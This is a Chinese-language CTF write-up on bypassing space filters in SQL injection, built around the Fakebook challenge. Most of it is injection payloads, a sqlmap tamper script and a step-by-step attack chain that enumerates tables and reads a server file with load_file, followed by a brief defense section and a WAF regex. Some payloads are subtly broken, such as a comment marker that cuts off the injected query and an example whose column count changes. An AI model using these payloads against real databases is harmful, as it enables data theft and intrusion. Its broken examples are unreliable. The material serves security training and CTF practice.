从一道CTF题Fakebook,聊聊SQL注入绕过空格过滤的几种骚操作(附脚本)
CTF实战:SQL注入中空格过滤的七种高级绕过技巧与自动化脚本开发
在CTF竞赛和实际渗透测试中,遇到SQL注入点但空格被过滤的情况并不罕见。最近在复现"网鼎杯2018 Fakebook"题目时,我发现这个经典案例完美展示了当空格字符被过滤时,攻击者如何通过多种替代方案完成注入。本文将深入剖析七种实用绕过技巧,并教你如何开发类似space2comment.py的tamper脚本实现自动化测试。
1. 理解空格过滤的底层逻辑
现代WAF(Web应用防火墙)和输入过滤机制通常会拦截包含空格的SQL查询,因为这是识别恶意流量的重要特征。但空格在SQL语法中主要起分隔作用,并非语法必需。理解这点是绕过的基础。
常见过滤方式包括:
- 直接删除所有空格字符
- 将连续空格替换为单个空格
- 拦截包含空格的请求
绕过核心思路是找到能被SQL解析器识别为分隔符,但又不被过滤的替代字符。以下是我在实际测试中最有效的七种方案:
2. 注释符替代法
最经典的绕过方式是用注释符/**/替代空格。这种方法在MySQL中尤其有效:
?no=1/**/union/**/select/**/1,database(),3,4--+优势:
- 兼容性高,适用于大多数MySQL版本
- 可读性相对较好
- 容易被自动化工具识别
局限:
- 部分WAF开始检测这种模式
- 在某些特殊字符集环境下可能失效
3. 换行符与制表符技巧
当/**/被检测时,可以尝试更隐蔽的空白字符:
?no=1%0Aunion%0Aselect%0A1,2,3,4--+常用替代字符包括:
%0A(LF换行符)%0D(CR回车符)%09(水平制表符)%0B(垂直制表符)
实战建议:
- 组合使用不同空白字符效果更佳
- 注意URL编码与直接使用的区别
4. 括号包裹表达式
在某些场景下,可以用括号包裹整个表达式避免空格:
?no=(1)union(select(1),(database()),(3),(4))--+适用场景:
- 需要极简payload时
- 其他方法都被过滤的情况
- 特定数据库版本(如MySQL 5.7+)
5. 特殊字符拼接技术
利用数据库的字符串处理函数实现无空格注入:
?no=1--+union--+select--+1,concat(@@version),3,4--+或者更隐蔽的方式:
?no=1e0union%23%0aselect%0a1,user(),3,4--+6. 数学运算替代法
通过数学运算构造有效分隔:
?no=1+union+select+1,2+3,4,5--+注意:
- 确保运算不会改变原意
- 测试目标数据库的运算优先级
7. 编码与双重编码技巧
尝试不同编码方式绕过过滤:
?no=1%2520union%2520select%25201,2,3,4--+常见编码组合:
- URL编码
- HTML实体编码
- Unicode编码
- 双重/多重编码
8. 开发自定义tamper脚本
对于需要频繁测试的场景,可以开发类似sqlmap的tamper脚本。以下是增强版space2comment.py的开发要点:
#!/usr/bin/env python from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ 将空格替换为/**/注释符,并随机插入换行符 """ if payload: payload = payload.replace(" ", "/**/") # 随机位置插入换行符增加混淆 import random if random.randint(0,1): payload = payload.replace("/**/union/**/", "/**/union%0A/**/") # 可选:10%概率使用括号包裹 if random.randint(1,10) == 1: payload = payload.replace("select/**/", "select(") payload = payload.replace("/**/from", ")from") return payload脚本优化技巧:
- 添加随机化元素增加绕过率
- 支持多种替代方案组合
- 保留原始payload语义
- 考虑特殊字符的URL编码
9. 实战中的综合应用策略
在Fakebook这类CTF题目中,我通常采用以下测试流程:
基础探测:先用简单payload确认注入点
?no=1'--+空格替代测试:按成功率从高到低尝试
- 首先
/**/ - 然后
%0A、%09 - 最后尝试括号和编码
- 首先
联合查询构造:确认回显位置
?no=-1/**/union/**/select/**/1,2,3,4--+信息收集:逐步获取数据库信息
?no=-1/**/union/**/select/**/1,(select(group_concat(table_name))/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4--+数据提取:获取最终flag
?no=-1/**/union/**/select/**/1,(select(load_file('/var/www/html/flag.php'))),3,4--+
10. 防御方案与检测建议
作为开发者,应该如何防御这类攻击?
有效防御措施:
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 过滤所有空白字符而不仅是空格
- 监控异常查询模式
WAF规则建议:
(/\*\*/|\%0A|\%09|\(select\(|\%2520)在实际项目中,遇到类似Fakebook的题目时,关键是要保持灵活思维。记得有次比赛,我花了两个小时尝试各种空格绕过方法,最后发现其实只需要用%a0(不换行空格)就能轻松绕过。这种经验告诉我,在安全测试中,耐心和创造力往往比工具更重要。
